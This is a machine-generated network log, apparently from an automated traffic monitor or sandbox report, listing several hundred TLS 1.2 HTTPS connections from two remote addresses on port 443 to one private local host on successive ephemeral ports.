Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50158 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50191 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50205 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50217 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50218 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50216 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50220 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50221 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50222 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50239 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50240 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50242 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50254 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50263 version: TLS 1.2
